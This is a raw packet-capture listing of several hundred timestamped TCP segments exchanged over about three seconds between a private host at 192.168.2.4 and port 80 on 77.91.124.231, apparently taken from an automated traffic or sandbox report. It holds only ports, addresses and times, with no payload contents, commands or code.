Sep 23, 2023 17:52:59.987015963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987032890 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987076044 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987082005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987123013 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987144947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987189054 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987209082 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987251997 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987308979 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987349987 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987384081 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987427950 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987478018 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987519979 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987584114 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987626076 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987673998 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987716913 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987751007 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987793922 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987852097 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987895966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.987934113 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987963915 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.987977028 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988008022 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988029957 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988073111 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988091946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988137007 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988159895 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988202095 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988220930 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988270044 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988275051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988317966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988318920 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988364935 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988373041 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988421917 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988435984 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988460064 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988467932 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988507986 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988513947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988558054 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988578081 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988621950 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:52:59.988645077 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988698006 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:52:59.988735914 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308258057 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308274984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308324099 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308386087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308399916 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308434963 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308435917 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308507919 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308536053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308547974 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308584929 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308624983 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308624983 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308711052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308725119 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308749914 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308831930 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308871031 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.308883905 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308963060 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.308999062 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309012890 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309053898 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309088945 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309155941 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309168100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309202909 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309225082 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309274912 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309313059 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309319019 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309381008 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309416056 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309479952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309490919 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309523106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309531927 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309561014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309598923 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309628963 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309643984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309684992 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309706926 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309765100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309803963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309813976 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309838057 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309875011 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.309906960 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309952974 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.309990883 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.630325079 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630342007 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630398035 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.630618095 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630673885 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630709887 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.630733967 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630875111 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.630918980 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631067991 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631109953 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631150007 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631397963 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631448030 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631474972 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631489992 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631521940 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631565094 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631597042 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631680965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631694078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631721020 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631768942 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631781101 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631809950 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631872892 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631913900 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.631916046 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.631963015 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.632003069 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.632024050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.632072926 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.632108927 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.632110119 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.632165909 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.632205963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.951973915 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.951987982 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952024937 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952033997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952054977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952266932 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952362061 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952382088 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952424049 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952462912 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952513933 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952615023 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952651978 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952672958 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952785969 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.952821970 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.952830076 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953031063 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953071117 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953102112 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953145027 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953181028 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953231096 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953402996 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953443050 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953491926 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953536034 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953569889 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953592062 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953684092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953696012 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953720093 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953778982 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.953814030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.953834057 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.954086065 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:00.954122066 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:00.954133034 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.004054070 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.273688078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.273703098 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.273713112 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.273761034 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.273775101 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.273777008 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.273823023 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.273858070 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.273901939 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.273981094 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274024963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274036884 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274080992 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274097919 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274120092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274138927 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274168968 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274178028 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274215937 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274255037 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274291039 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274297953 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274334908 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274348021 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274389029 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274409056 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274455070 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274542093 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274554014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.274589062 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.274589062 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.275382042 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279741049 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279823065 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279865980 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279894114 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.279907942 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279930115 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.279951096 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.279989004 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.280009031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280056000 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280092001 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.280128002 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280186892 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280221939 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.280251980 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280293941 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280335903 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.280343056 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280404091 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280452013 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.280472040 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280483961 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.280524015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.325705051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.379050016 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.595540047 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.595611095 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.602037907 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.602065086 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.602082014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.602097988 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.602117062 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.602121115 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.602168083 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.701347113 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701401949 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701464891 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701482058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701503038 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701517105 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.701534033 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.701545954 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701596022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.701597929 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.754060984 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.924556017 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.924581051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.924597025 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.924612999 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.924629927 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:01.924664974 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:01.924702883 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.023370981 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023391962 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023402929 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023463011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023463964 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.023514986 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023528099 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.023581028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.023629904 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.023669004 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.066689968 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.075624943 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.129050970 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.248126984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.248171091 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.248198986 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.248218060 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.248294115 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.248315096 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.248339891 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.300940990 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.345125914 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345223904 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345241070 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345256090 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345283985 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.345304012 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.345313072 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345465899 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.345508099 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.389854908 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.441570997 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.450568914 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.504064083 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.570197105 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.570219040 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.570264101 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.570291042 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.570297956 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.570354939 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.622807980 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.666917086 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667068005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667088985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667140007 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.667164087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667165041 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.667283058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667332888 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.667355061 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.667978048 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.668051004 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.764080048 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.816648960 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.825818062 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.879045963 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.892151117 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.892164946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.892177105 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.892189026 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.892208099 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.892227888 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.988754034 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.988790989 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.988883972 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.988997936 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989121914 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989135027 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989171028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:02.989173889 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:02.989207029 CEST	49761	80	192.168.2.4	77.91.124.231
